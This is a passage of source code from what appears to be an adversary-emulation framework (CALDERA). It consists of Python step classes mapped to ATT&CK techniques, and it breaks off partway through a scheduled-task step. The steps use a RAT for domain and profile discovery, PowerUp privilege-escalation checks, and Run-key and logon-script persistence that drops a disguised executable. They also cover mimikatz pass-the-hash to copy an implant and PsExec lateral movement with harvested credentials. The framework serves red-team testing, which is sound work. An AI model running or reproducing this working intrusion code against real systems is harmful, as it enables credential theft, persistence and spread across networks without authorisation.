5 | class GetDomain(Step): 6 | """ 7 | Description: 8 | This step enumerates the domain a machine belongs to using nbtstat. 9 | Requirements: 10 | Requires the computer to be connected to a domain, and for a rat to be accessible. 11 | """ 12 | attack_mapping = [('T1016', 'Discovery'), ('T1106', 'Execution')] 13 | display_name = "get_domain" 14 | summary = "Use nbtstat to get information about the Windows Domain" 15 | 16 | preconditions = [("rat", OPRat)] 17 | postconditions = [("domain_g", OPDomain)] 18 | 19 | preproperties = ["rat.host.fqdn"] 20 | postproperties = ["domain_g.windows_domain", "domain_g.dns_domain"] 21 | 22 | significant_parameters = [] 23 | 24 | cddl = """ 25 | Knowns: 26 | rat: OPRat[host[fqdn]] 27 | Effects: 28 | if not exist rat { 29 | forget rat 30 | } else { 31 | know rat[host[domain[windows_domain, dns_domain]]] 32 | } 33 | """ 34 | 35 | @staticmethod 36 | def description(): 37 | return "Enumerating the Windows and DNS information of this domain" 38 | 39 | @staticmethod 40 | async def action(operation, rat, domain_g): 41 | windows_domain = await operation.execute_shell_command(rat, *nbtstat.n()) 42 | dns_domain = '.'.join(rat.host.fqdn.split('.')[1:]) 43 | await domain_g({'windows_domain': windows_domain, 'dns_domain': dns_domain}) 44 | return True 45 | -------------------------------------------------------------------------------- /app/steps/getlocalprofiles.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import reg 2 | from plugins.adversary.app.operation.operation import Step, OPUser, OPHost, OPRat, OPVar 3 | 4 | 5 | class GetLocalProfiles(Step): 6 | """ 7 | Description: 8 | This step enumerates the local profiles of a target machine by enumerating the registry using reg.exe. 9 | Requirements: 10 | This step has no hard requirements, but is necessary for another action, HKURunKeyPersist. 11 | """ 12 | attack_mapping = [('T1033', 'Discovery'), ('T1012', 'Discovery'), ('T1106', 'Execution')] 13 | display_name = "get_local_profiles" 14 | summary = "Use reg.exe to enumerate user profiles that exist on a local machine" 15 | 16 | preconditions = [("rat", OPRat), 17 | ("host", OPHost(OPVar("rat.host")))] 18 | postconditions = [("user_g", OPUser({'$in': OPVar("host.local_profiles")}))] 19 | 20 | significant_parameters = ["host"] 21 | 22 | postproperties = ["user_g.username", "user_g.sid", "user_g.is_group"] 23 | 24 | @staticmethod 25 | def description(rat, host): 26 | return "Enumerating user profiles on {}".format(rat.host.hostname) 27 | 28 | @staticmethod 29 | async def simulate(operation, rat, host, user_g): 30 | return True 31 | 32 | @staticmethod 33 | async def action(operation, rat, host, user_g): 34 | # Enumerate Local Profiles 35 | profile_list_loc = '"HKLM\\software\\microsoft\\windows nt\\currentversion\\profilelist"' 36 | 37 | q = await operation.execute_shell_command(rat, *reg.query(key=profile_list_loc, switches=["/s"])) 38 | 39 | profile_keys = [x for x in q.keys() if "S-1-5-21" in x] 40 | for key in profile_keys: 41 | sid = key[key.rfind("\\")+1:] # The SID is at the end of the key 42 | profile_path = q[key]['ProfileImagePath'].data 43 | username = profile_path[profile_path.rfind('\\')+1:] # Assume that directory name is the username. 44 | await user_g({'username': username, 'sid': sid, 'is_group': False}) 45 | 46 | return True 47 | -------------------------------------------------------------------------------- /app/steps/getperipheraldeviceslocal.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import parsers 2 | from plugins.adversary.app.commands import cmd 3 | from plugins.adversary.app.operation.operation import Step, OPDevice, OPHost, OPRat, OPVar 4 | 5 | 6 | class GetPeripheralDevicesLocal(Step): 7 | """ 8 | Description: 9 | This step enumerates peripheral devices on the host. This grabs USB devices, Disk Drives, 10 | and image devices. 11 | Requirements: 12 | This step only requires the existence of a RAT on a host in order to run. 13 | """ 14 | attack_mapping = [("T1005", "Collection"), ("T1120", "Discovery"), ('T1106', 'Execution')] 15 | display_name = "get_pnpdevices" 16 | summary = "Enumerate peripheral devices attached to the host device" 17 | 18 | preconditions = [('rat', OPRat), 19 | ('host', OPHost(OPVar("rat.host")))] 20 | 21 | postconditions = [('device_g', OPDevice({'$in': OPVar('host.devices')}))] 22 | 23 | significant_parameters = ['host'] # no need to do this more than once per host 24 | 25 | postproperties = ['device_g.host','host.devices'] 26 | 27 | @staticmethod 28 | def description(rat, host): 29 | return "Using powershell to enumerate PNP devices on {}".format(host.hostname) 30 | 31 | @staticmethod 32 | async def simulate(operation, rat, host, device_g): 33 | return True 34 | 35 | @staticmethod 36 | async def action(operation, rat, host, device_g): 37 | # Cmd will call a powershell instance to run Get-PnpDevices for a specific set of devices 38 | 39 | # Set up static parameters regarding device classes and query parameters 40 | dev_classes = {'Image': '{6bdd1fc6-810f-11d0-bec7-08002be2092f}', 41 | 'Camera': '{ca3e7ab9-b4c3-4ae6-8251-579ef933890f}', 42 | 'DiskDrive': '{4d36e967-e325-11ce-bfc1-08002be10318}', 43 | 'SmartCardReader': '{50dd5230-ba8a-11d1-bf5d-0000f805f530}', 44 | 'Sensors': '{5175d334-c371-4806-b3ba-71fd53c9258d}'} 45 | dev_selectors = ['ClassGuid', 'Name', 'Status', 'DeviceID'] 46 | 47 | # build query strings 48 | dev_query = "\\\"Select * FROM Win32_PnPEntity Where ClassGUID like " 49 | dev_query += ' or ClassGUID like '.join("'%s'" % c for c in dev_classes.values()) 50 | dev_query += '\\\"' 51 | dev_select = ','.join(dev_selectors) 52 | get_dev_cmd = "gwmi -Query {}".format(dev_query) 53 | 54 | # get devices 55 | device_objects = await operation.execute_shell_command(rat, *cmd.powershell(get_dev_cmd,\ 56 | parsers.cmd.powershell_devices)) 57 | 58 | # create device obects 59 | for dev in device_objects: 60 | 61 | dev.update({'host': host}) 62 | await device_g(dev) 63 | 64 | return True -------------------------------------------------------------------------------- /app/steps/getprivescsvcinfo.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.powershell import PSFunction 2 | from plugins.adversary.app.operation.operation import Step, OPHost, OPRat, OPVar, OPService 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | class GetPrivEscSvcInfo(Step): 7 | """ 8 | Description: 9 | This step utilises the PowerUp powershell script to identify potential service-based privilege 10 | escalation opportunities on a target machine. 11 | Requirements: 12 | Requires an non-elevated RAT. This step identifies unquoted service paths, modifiable service targets, 13 | and modifiable services for privilege escalation purposes. 14 | """ 15 | attack_mapping = [('T1007', 'Discovery'), ('T1106', 'Execution')] 16 | display_name = "privilege_escalation(service)" 17 | summary = "Use PowerUp to find potential service-based privilege escalation vectors" 18 | 19 | preconditions = [("rat", OPRat({"elevated": False})), 20 | ("host", OPHost(OPVar("rat.host")))] 21 | 22 | postconditions = [("service_g", OPService({"host": OPVar("host"), 23 | "user_context": OPVar("rat.username")}))] 24 | 25 | @staticmethod 26 | def description(): 27 | return "Looking for potential privilege escalation vectors related to services" 28 | 29 | @staticmethod 30 | async def simulate(operation, rat, host, service_g): 31 | return True 32 | 33 | @staticmethod 34 | async def action(operation, rat, host, service_g): 35 | unquoted = await operation.execute_powershell(rat, "powerup", PSFunction("Get-ServiceUnquoted"), 36 | parsers.powerup.get_serviceunquoted) 37 | for parsed_service in unquoted: 38 | # insert each service into the database 39 | service_dict = {"name": parsed_service['name'], 40 | "bin_path": parsed_service['bin_path'], 41 | 'service_start_name': parsed_service['service_start_name'], 42 | 'can_restart': parsed_service['can_restart'], 43 | 'modifiable_paths': parsed_service['modifiable_paths'], 44 | 'vulnerability': 'unquoted', 45 | 'revert_command': ""} 46 | await service_g(service_dict) 47 | fileperms = await operation.execute_powershell(rat, "powerup", PSFunction("Get-ModifiableServiceFile"), 48 | parsers.powerup.get_modifiableservicefile) 49 | for parsed_service in fileperms: 50 | service_dict = {'name': parsed_service['name'], 51 | 'bin_path': parsed_service['bin_path'], 52 | 'service_start_name': parsed_service['service_start_name'], 53 | 'can_restart': parsed_service['can_restart'], 54 | 'modifiable_paths': parsed_service['modifiable_paths'], 55 | 'vulnerability': 'file', 56 | 'revert_command': ""} 57 | await service_g(service_dict) 58 | mod_bin_path = await operation.execute_powershell(rat, "powerup", PSFunction("Get-ModifiableService"), 59 | parsers.powerup.get_modifiableservice) 60 | for parsed_service in mod_bin_path: 61 | service_dict = {'name': parsed_service['name'], 62 | 'bin_path': parsed_service['bin_path'], 63 | 'service_start_name': parsed_service['service_start_name'], 64 | 'can_restart': parsed_service['can_restart'], 65 | 'vulnerability': 'bin_path', 66 | 'revert_command': ""} 67 | await service_g(service_dict) 68 | return True 69 | -------------------------------------------------------------------------------- /app/steps/hklmrunkeypersist.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import reg 2 | from plugins.adversary.app.operation.operation import Step, OPHost, OPRat, OPVar, OPPersistence, OPRegKey 3 | 4 | 5 | class HKLMRunKeyPersist(Step): 6 | """ 7 | Description: 8 | This step creates an entry in the registry under the Local Machine hive on a given target machine in order 9 | to maintain persistence (HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run). 10 | Requirements: 11 | Requires an elevated RAT. 12 | """ 13 | attack_mapping = [('T1060', 'Persistence'), ('T1106', 'Execution')] 14 | display_name = "hklm_runkey_persist" 15 | summary = ("Use reg.exe to gain persistence by inserting a run key value into the Local Machine hive (HKLM). This" 16 | "will cause the rat to be executed in the user context of any user that logs on to the system") 17 | 18 | preconditions = [("rat", OPRat({"elevated": True})), 19 | ("host", OPHost(OPVar("rat.host")))] 20 | 21 | postconditions = [("regkey_g", OPRegKey), 22 | ("persist_g", OPPersistence({"host": OPVar("host"), "elevated": False}))] 23 | 24 | significant_parameters = ["host"] 25 | 26 | preproperties = ["rat.executable"] 27 | 28 | postproperties = ["regkey_g.key", "regkey_g.value", "regkey_g.data", 29 | "persist_g.regkey_artifact"] 30 | 31 | @staticmethod 32 | def description(rat, host): 33 | return "Creating a local machine run key on {}".format(host.hostname) 34 | 35 | @staticmethod 36 | async def simulate(operation, rat, host, regkey_g, persist_g): 37 | return True 38 | 39 | @staticmethod 40 | async def action(operation, rat, host, regkey_g, persist_g): 41 | value = "caldera" 42 | data = rat.executable 43 | run_key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" 44 | 45 | # Add run key 46 | await operation.execute_shell_command(rat, *reg.add(key=run_key, value=value, data=data, force=True)) 47 | 48 | regkey = await regkey_g({'host': host, 'key': run_key, 'value': value, 'data': data}) 49 | await persist_g({'regkey_artifact': regkey}) 50 | 51 | return True 52 | 53 | @staticmethod 54 | async def cleanup(cleaner, regkey_g): 55 | for regkey in regkey_g: 56 | await cleaner.delete(regkey) 57 | -------------------------------------------------------------------------------- /app/steps/hkurunkeypersist.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from plugins.adversary.app.commands import reg 4 | from plugins.adversary.app.operation.operation import Step, OPUser, OPHost, OPRat, OPVar, OPPersistence, OPRegKey 5 | from plugins.adversary.app.commands.errors import * 6 | 7 | log = logging.getLogger(__name__) 8 | 9 | 10 | class HKURunKeyPersist(Step): 11 | """ 12 | Description: 13 | This step creates an entry in the registry under HKU\\\\Software\\Microsoft\\windows\\CurrentVersion\\Run 14 | in order to maintain persistence. This results in the RAT being executed whenever a targeted user logs on. 15 | Requirements: 16 | Requires enumeration of local profiles on the target machine (done using GetLocalProfiles), and an 17 | elevated RAT. 18 | """ 19 | attack_mapping = [('T1060', 'Persistence'), ('T1106', 'Execution')] 20 | display_name = "hku_runkey_persist" 21 | summary = ("Use reg.exe to gain persistence by inserting run key values into local user profiles. This will cause " 22 | "the rat to be executed when any of the affected users logs on") 23 | 24 | preconditions = [("rat", OPRat({"elevated": True})), 25 | ("host", OPHost(OPVar("rat.host"))), 26 | ("user", OPUser({'$in': OPVar("host.local_profiles")}))] 27 | 28 | postconditions = [("regkey_g", OPRegKey({"host": OPVar("host")})), 29 | ("persist_g", OPPersistence({"host": OPVar("host"), "user_context": OPVar("user"), 30 | "elevated": False}))] 31 | 32 | significant_parameters = ["user", "host"] 33 | 34 | postproperties = ["persist_g.regkey_artifact", 35 | "regkey_g.key", "regkey_g.value", "regkey_g.data"] 36 | 37 | @staticmethod 38 | def description(rat, host, user): 39 | return "Attempting to create a run key on {} for {}".format(host.hostname, user.username) 40 | 41 | @staticmethod 42 | async def simulate(operation, rat, host, user, regkey_g, persist_g): 43 | return True 44 | 45 | @staticmethod 46 | async def action(operation, rat, host, user, regkey_g, persist_g): 47 | value = "caldera" 48 | data = rat.executable 49 | 50 | u_profile_path = "C:\\Users\\{}\\ntuser.dat".format(user.username) # Assumption: this is where profile path is. 51 | # TODO: save this info in db during GetLocalProfiles 52 | u_key = "HKU\\{}".format(user.sid) 53 | 54 | # Check if user's SID is already in HKU 55 | key_loaded = False 56 | relative_key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" 57 | run_key = u_key + "\\" + relative_key 58 | loaded = False 59 | while not loaded: 60 | try: 61 | await operation.execute_shell_command(rat, *reg.add(key=run_key, value=value, data=data, force=True)) 62 | loaded = True 63 | except IncorrectParameterError: # Load user into HKU 64 | try: 65 | await operation.execute_shell_command(rat, *reg.load(key=u_key, file=u_profile_path)) 66 | key_loaded = True 67 | except FileInUseError: 68 | log.warning("The hive could not be loaded.") 69 | return False 70 | 71 | if key_loaded: # Unload key (if a key was loaded earlier) 72 | await operation.execute_shell_command(rat, *reg.unload(key=u_key.format(user.sid))) 73 | regkey = await regkey_g({'host': host, 'key': relative_key, 'value': value, 'data': data, 74 | 'path_to_file': u_profile_path}) 75 | else: 76 | regkey = await regkey_g({'key': run_key, 'value': value, 'data': data}) 77 | 78 | await persist_g({'regkey_artifact': regkey}) 79 | 80 | return True 81 | 82 | @staticmethod 83 | async def cleanup(cleaner, regkey_g): 84 | for regkey in regkey_g: 85 | await cleaner.delete(regkey) 86 | -------------------------------------------------------------------------------- /app/steps/logonpersistence.py: -------------------------------------------------------------------------------- 1 | import plugins.adversary.app.config as config 2 | from plugins.adversary.app.commands import static 3 | from plugins.adversary.app.operation.operation import Step, OPRat, OPFile, OPPersistence 4 | 5 | 6 | class LogonPersistence(Step): 7 | """ 8 | Description: 9 | This step attempts to maintain persistence using script configured to run at startup. 10 | Requirements: 11 | Requires an elevated rat on the target machine. 12 | """ 13 | attack_mapping = [('T1037', 'Persistence')] 14 | display_name = "logon_persistence" 15 | summary = "Attempts to maintain persistence using a logon script" 16 | 17 | preconditions = [("rat", OPRat({"elevated": True}))] 18 | postconditions = [("persistence_g", OPPersistence), 19 | ("file_g", OPFile)] 20 | 21 | preproperties = ["rat.host.fqdn"] 22 | 23 | significant_parameters = [] 24 | 25 | @staticmethod 26 | def description(): 27 | return "Installing logon script for persistence" 28 | 29 | @staticmethod 30 | async def simulate(operation, rat, persistence_g, file_g): 31 | return True 32 | 33 | @staticmethod 34 | async def action(operation, rat, persistence_g, file_g): 35 | await operation.drop_file(rat, "C:\\logon.bat", "caldera/templates/filestore/tools/logon.hex") 36 | await operation.drop_file(rat, "C:\\totally_innocent_executable.exe", config.settings.exe_rat_path) 37 | await operation.execute_shell_command(rat, *static.logonScriptA()) 38 | await operation.execute_shell_command(rat, *static.logonScriptB()) 39 | file_ref = await file_g({'path': "C://logon.bat", 'host': rat.host, 'use_case': 'dropped'}) 40 | await persistence_g({'host': rat.host, 'script_artifact': file_ref}) 41 | await file_g({'path': "C:\\totally_innocent_executable.exe", 'host': rat.host, 'use_case': 'dropped'}) 42 | await file_g({'path': "C:\\envn.reg", 'host': rat.host, 'use_case': 'dropped'}) 43 | return True 44 | 45 | @staticmethod 46 | async def cleanup(cleaner, file_g, persistence_g): 47 | for entry in file_g: 48 | await cleaner.delete(entry) 49 | for persistence in persistence_g: 50 | await cleaner.static_revert(persistence, 'reg import C:\\envn.reg && del C:\\envn.reg') -------------------------------------------------------------------------------- /app/steps/nettime.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | 3 | from plugins.adversary.app.commands import net 4 | from plugins.adversary.app.operation.operation import Step, OPHost, OPRat, OPVar, OPTimeDelta 5 | 6 | 7 | class NetTime(Step): 8 | """ 9 | Description: 10 | This step determines the current time on a target machine, using the 'net time' command. 11 | Requirements: 12 | This step has no hard requirements, but is necessary for several other steps, such as Schtasks. 13 | """ 14 | attack_mapping = [('T1124', 'Discovery'), ('T1106', 'Execution')] 15 | display_name = "net_time" 16 | summary = 'Remotely enumerate host times using "net time"' 17 | 18 | preconditions = [("rat", OPRat), 19 | ('host', OPHost)] 20 | 21 | postconditions = [('time_delta_g', OPTimeDelta({"host": OPVar("host")}))] 22 | 23 | preproperties = ["host.fqdn"] 24 | postproperties = ["time_delta_g.seconds", "time_delta_g.microseconds", "time_delta_g.days"] 25 | 26 | deterministic = True 27 | 28 | cddl = """ 29 | Knowns: 30 | rat: OPRat 31 | host: OPHost 32 | Effects: 33 | if not exist rat { 34 | forget rat 35 | } else { 36 | know host[timedelta[seconds, microseconds]] 37 | } 38 | """ 39 | 40 | @staticmethod 41 | def description(host): 42 | return "Determining the time on {}".format(host.fqdn) 43 | 44 | @staticmethod 45 | async def simulate(operation, rat, host, time_delta_g): 46 | return True 47 | 48 | @staticmethod 49 | async def action(operation, rat, host, time_delta_g): 50 | d = await operation.execute_shell_command(rat, *net.time(host.fqdn)) 51 | now = datetime.utcnow() 52 | delta = now - d 53 | await time_delta_g({'seconds': delta.seconds, 'microseconds': delta.microseconds, 'days': delta.days}) 54 | return True 55 | -------------------------------------------------------------------------------- /app/steps/netuse.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import net 2 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPCredential, OPHost, OPRat, OPVar, OPShare 3 | 4 | 5 | class NetUse(Step): 6 | """ 7 | Description: 8 | This step mounts a C$ network share on a target remote machine using net use. This can then be leveraged 9 | for a host of machine-to-machine techniques. 10 | Requirements: 11 | Requires administrative credentials for target machine ((needs both administrator enumeration 'GetAdmin', 12 | and credential data 'Credentials') and domain enumeration. 13 | """ 14 | attack_mapping = [('T1077', 'Lateral Movement'), ('T1106', 'Execution')] 15 | display_name = "net_use" 16 | summary = "Mount a C$ network share using net use" 17 | 18 | # prevents net_use 19 | value = 0 20 | preconditions = [("rat", OPRat), 21 | ('host', OPHost), 22 | ("cred", OPCredential({'$in': {'user': OPVar("host.admins")}})), 23 | ('user', OPUser(OPVar("cred.user"))), 24 | ('domain', OPDomain(OPVar("user.domain")))] 25 | 26 | # These post-conditions create a weird behavior where the planner with think it has paths ahead due to Remove 27 | # Net Share being an option. Will not break 28 | # postconditions = [('share_g', OPShare({"src_host": OPVar("rat.host"), "dest_host": OPVar("host"), 29 | # 'share_name': 'C$', 'share_removed': False}))] 30 | postconditions = [('share_g', OPShare({"src_host": OPVar("rat.host"), "dest_host": OPVar("host"), 31 | 'share_name': 'C$'}))] 32 | 33 | not_equal = [('host', 'rat.host')] 34 | 35 | preproperties = ['domain.windows_domain', 'cred.password', 'host.fqdn', 'user.username'] 36 | postproperties = ["share_g.share_path", "share_g.mount_point", "share_g.share_removed"] 37 | 38 | deterministic = True 39 | 40 | cddl = """ 41 | Knowns: 42 | rat: OPRat[host] 43 | host: OPHost[fqdn] 44 | cred: OPCredential[password, user[username, domain[windows_domain]]] 45 | Where: 46 | rat.host != host 47 | Effects: 48 | if not exist rat { 49 | forget rat 50 | } elif cred.user in host.admins { 51 | create OPShare[src_host=rat.host, dest_host=host, share_name="C$", share_path="whatever", \ 52 | share_removed="False"] 53 | } 54 | """ 55 | 56 | @staticmethod 57 | def description(rat, host): 58 | return "Mounting {}'s C$ network share on {} with net use".format(host.fqdn, rat.host.fqdn) 59 | 60 | @staticmethod 61 | async def action(operation, rat, host, cred, user, domain, share_g): 62 | await operation.execute_shell_command(rat, *net.use(host.fqdn, 'C$', user=user.username, 63 | user_domain=domain.windows_domain, password=cred.password)) 64 | await share_g({'share_path': '\\\\{}\\C$'.format(host.fqdn), 'mount_point': 'C:', 'share_removed': False}) 65 | return True 66 | 67 | @staticmethod 68 | async def cleanup(cleaner, share_g): 69 | for share in share_g: 70 | if not share.share_removed: 71 | await cleaner.delete(share) 72 | -------------------------------------------------------------------------------- /app/steps/networkconnections.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from plugins.adversary.app.commands import netstat 4 | from plugins.adversary.app.operation.operation import Step, OPRat 5 | 6 | 7 | log = logging.getLogger(__name__) 8 | 9 | 10 | class NetworkConnections(Step): 11 | attack_mapping = [("T1049", "Discovery")] 12 | display_name = "get network connections" 13 | summary = "Uses netstat to retrieve current network connections." 14 | 15 | preproperties = ['rat.host.fqdn', 'rat.username'] 16 | 17 | preconditions = [('rat', OPRat)] 18 | 19 | postconditions = [] 20 | 21 | @staticmethod 22 | def description(rat): 23 | return "Using netstat to retrieve network connections on {}".format(rat.host.fqdn) 24 | 25 | @staticmethod 26 | async def simulate(operation, rat): 27 | return True 28 | 29 | @staticmethod 30 | async def action(operation, rat): 31 | if "system" in rat.username: 32 | await operation.execute_shell_command(rat, *netstat.anob()) 33 | else: 34 | await operation.execute_shell_command(rat, *netstat.ano()) 35 | return True 36 | -------------------------------------------------------------------------------- /app/steps/passthehashcopy.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.powershell import PSArg, PSFunction 2 | from plugins.adversary.app.commands.mimikatz import MimikatzCommand, sekurlsa_pth, mimi_exit, privilege_debug 3 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPFile, OPCredential, OPHost, OPRat, OPVar 4 | from plugins.adversary.app.commands import parsers 5 | 6 | 7 | class PassTheHashCopy(Step): 8 | """ 9 | Description: 10 | This step uses the Pass the Hash technique to copy a file to a target machine using xcopy. 11 | Requirements: 12 | Requires administrative access, domain enumeration, and credentials for an administrator on the target 13 | machine (needs both administrator enumeration 'GetAdmin', and credential data 'Credentials'). 14 | """ 15 | attack_mapping = [('T1075', 'Lateral Movement'), ('T1105', 'Lateral Movement'), ('T1106', 'Execution')] 16 | display_name = "pass_the_hash_copy" 17 | summary = "Copy a file from a computer to another using a credential-injected command prompt" 18 | 19 | preconditions = [("rat", OPRat({"elevated": True})), 20 | ('user', OPUser(OPVar("cred.user"))), 21 | ("host", OPHost(OPVar("rat.host"))), 22 | ('dest_host', OPHost), 23 | ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})), 24 | ('domain', OPDomain(OPVar("user.domain")))] 25 | postconditions = [("file_g", OPFile({'host': OPVar("dest_host")}))] 26 | 27 | preproperties = ['rat.executable', 'dest_host.hostname', 'domain.windows_domain', 'cred.hash'] 28 | 29 | not_equal = [('host', 'dest_host')] 30 | 31 | deterministic = True 32 | 33 | @staticmethod 34 | def description(host, dest_host): 35 | return "Using pass the hash to copy an implant from {} to {}".format(host.fqdn, dest_host.fqdn) 36 | 37 | @staticmethod 38 | async def simulate(operation, rat, user, host, dest_host, cred, domain, file_g): 39 | return True 40 | 41 | @staticmethod 42 | async def action(operation, rat, user, host, dest_host, cred, domain, file_g): 43 | filepath = "\\" + operation.adversary_artifactlist.get_executable_word() 44 | # echo F | xcopy will automatically create missing directories 45 | final_command = "cmd.exe /c echo F | xcopy {0} \\\\{1}\\c${2}".format(rat.executable, dest_host.hostname, filepath) 46 | 47 | mimikatz_command = MimikatzCommand(privilege_debug(), 48 | sekurlsa_pth(user=user.username, domain=domain.windows_domain, 49 | ntlm=cred.hash, run=final_command), 50 | mimi_exit()) 51 | 52 | if host.os_version.major_version >= 10: 53 | # Pass compiled mimikatz.exe into Invoke-ReflectivePEInjection PowerSploit script. This works on 54 | # windows 10 and patched older systems (KB3126593 / MS16-014 update installed) 55 | await operation.reflectively_execute_exe(rat, "mimi64-exe", mimikatz_command.command, 56 | parsers.mimikatz.sekurlsa_pth) 57 | else: 58 | # Use Invoke-Mimikatz (trouble getting this working on Windows 10 as of 8/2017). 59 | await operation.execute_powershell(rat, "powerkatz", 60 | PSFunction('Invoke-Mimikatz', 61 | PSArg("Command", mimikatz_command.command.command_line)), 62 | parsers.mimikatz.sekurlsa_pth) 63 | 64 | await file_g({'src_host': dest_host, 'src_path': rat.executable, 'path': "C:" + filepath, 'use_case': 'rat'}) 65 | 66 | return True 67 | 68 | @staticmethod 69 | async def cleanup(cleaner, file_g): 70 | for file in file_g: 71 | await cleaner.delete(file) 72 | -------------------------------------------------------------------------------- /app/steps/psexecmove.py: -------------------------------------------------------------------------------- 1 | import plugins.adversary.app.config as config 2 | from plugins.adversary.app.commands import psexec 3 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPFile, OPCredential, OPHost, OPRat, OPVar 4 | 5 | 6 | class PsexecMove(Step): 7 | """ 8 | Description: 9 | This step utilizes the Windows Internals tool PsExec to spawn a RAT on a remote host, moving through 10 | the network via lateral movement. 11 | Requirements: 12 | Requires credentials for an administrator on the target machine (needs both administrator enumeration 13 | 'GetAdmin', and credential data 'Credentials'), and an enumerated domain. In addition, PsExec must have 14 | been downloaded and integrated into Caldera in order for this step to execute correctly. 15 | PsExec can be acquired and integrated using the 'Load PsExec' option in Settings. 16 | """ 17 | attack_mapping = [('T1035', 'Execution')] 18 | display_name = "psexec_move" 19 | summary = "Move laterally using psexec" 20 | 21 | preconditions = [("rat", OPRat), 22 | ("dest_host", OPHost), 23 | ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})), 24 | ('user', OPUser(OPVar("cred.user"))), 25 | ('domain', OPDomain(OPVar("user.domain")))] 26 | 27 | not_equal = [('dest_host', 'rat.host')] 28 | 29 | preproperties = ['domain.windows_domain', 'user.username', 'cred.password', 'dest_host.hostname'] 30 | 31 | # file_g properties are intentionally omitted here to prevent the planner from thinking it is useful 32 | postconditions = [("file_g", OPFile), 33 | ("rat_g", OPRat({"host": OPVar("dest_host"), 34 | "elevated": True}))] 35 | 36 | deterministic = True 37 | 38 | @staticmethod 39 | def description(rat, dest_host, cred, user, domain): 40 | return "Moving laterally to {} with {} via {} using psexec".format(dest_host.hostname, user.username, 41 | rat.host.hostname) 42 | 43 | @staticmethod 44 | async def action(operation, rat, dest_host, cred, user, domain, file_g, rat_g): 45 | ps_loc = "C:\\Users\\" + user.username + "\\" + operation.adversary_artifactlist.get_executable_word() 46 | rat_loc = "C:\\Users\\" + user.username + "\\" + operation.adversary_artifactlist.get_executable_word() 47 | # protect against potential duplicate naming 48 | if rat_loc == ps_loc: 49 | ps_loc = "C:\\Users\\" + user.username + "\\mystery.exe" 50 | await operation.drop_file(rat, ps_loc, config.settings.filestore_path + '/ps.hex') 51 | await operation.drop_file(rat, rat_loc, config.settings.exe_rat_path) 52 | await file_g({'path': ps_loc, 'host': rat.host, 'use_case': 'dropped'}) 53 | await file_g({'path': rat_loc, 'host': rat.host, 'use_case': 'dropped'}) 54 | await operation.execute_shell_command(rat, *psexec.copy(ps_loc, rat_loc, domain.windows_domain, user.username, 55 | cred.password, dest_host.hostname, elevated=True)) 56 | await rat_g() 57 | return True 58 | 59 | @staticmethod 60 | async def cleanup(cleaner, file_g): 61 | for file in file_g: 62 | await cleaner.delete(file) 63 | -------------------------------------------------------------------------------- /app/steps/removenetshare.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import net 2 | from plugins.adversary.app.operation.operation import Step, OPHost, OPRat, OPVar, OPShare, OPFile 3 | 4 | 5 | class RemoveNetShare(Step): 6 | """ 7 | Description: 8 | This step unmounts a C$ network share on a target remote machine using net use. 9 | Requirements: 10 | Requires destation host has an executed RAT and a mounted share. 11 | """ 12 | attack_mapping = [('T1126', 'Defense Evasion'), ('T1077', 'Lateral Movement'), ('T1106', 'Execution')] 13 | display_name = "remove_share" 14 | summary = "Unmount a C$ network share using net use" 15 | 16 | preconditions = [("rat", OPRat), 17 | ('dest_host', OPHost), 18 | ('rat_file', OPFile({'host': OPVar("dest_host"), 'use_case': 'rat'})), 19 | ('share', OPShare({'src_host': OPVar("rat.host"), 'share_removed': False}))] 20 | 21 | postconditions = [('share_g',OPShare({"src_host": OPVar("rat.host"), "dest_host": OPVar("dest_host"), 22 | 'share_name': 'C$', 'share_removed': True}))] 23 | 24 | not_equal = [('dest_host', 'rat.host')] 25 | 26 | significant_parameters = ["rat_file"] 27 | 28 | preproperties = ['share.share_path'] 29 | postproperties = ["share_g.share_removed"] 30 | 31 | cddl = """ 32 | """ 33 | 34 | @staticmethod 35 | def description(rat, dest_host): 36 | return "Unmounting {}'s C$ network share from {} with net use".format(dest_host.fqdn, rat.host.fqdn) 37 | 38 | @staticmethod 39 | async def simulate(operation, rat, rat_file, dest_host, share, share_g): 40 | return True 41 | 42 | @staticmethod 43 | async def action(operation, rat, rat_file, dest_host, share, share_g): 44 | await operation.execute_shell_command(rat, *net.use_delete(remote_host=dest_host.fqdn, 45 | remote_share=share.share_name)) 46 | await share_g({'share_path': '\\\\{}\\C$'.format(dest_host.fqdn), 'mount_point': 'C:', 'share_removed': True}) 47 | return True 48 | -------------------------------------------------------------------------------- /app/steps/schtasks.py: -------------------------------------------------------------------------------- 1 | from datetime import timedelta 2 | 3 | from plugins.adversary.app.commands import schtasks 4 | from ..operation.operation import Step, OPUser, OPDomain, OPFile, OPCredential, OPHost, OPRat, OPVar, OPSchtask, \ 5 | OPTimeDelta 6 | from plugins.adversary.app.util import tz_utcnow 7 | 8 | 9 | class Schtasks(Step): 10 | """ 11 | Description: 12 | This step schedules a task on a remote machine, with the intent of starting a previously copied RAT. 13 | Requirements: 14 | Requires a knowledge of the target machine's current time state (usually accomplished using NetTime), 15 | credentials for an administrator on the target machine (needs both administrator enumeration 'GetAdmin', 16 | and credential data 'Credentials'), domain enumeration, and access to a copy of the RAT on the target 17 | machine (usually accomplished using Copy or XCopy). 18 | """ 19 | attack_mapping = [('T1053', 'Execution'), ('T1053', 'Privilege Escalation')] 20 | display_name = "schtasks" 21 | summary = "Remotely schedule a task using schtasks" 22 | 23 | value = 20 24 | 25 | preconditions = [("rat", OPRat), 26 | ('dest_host', OPHost), 27 | ('time_delta', 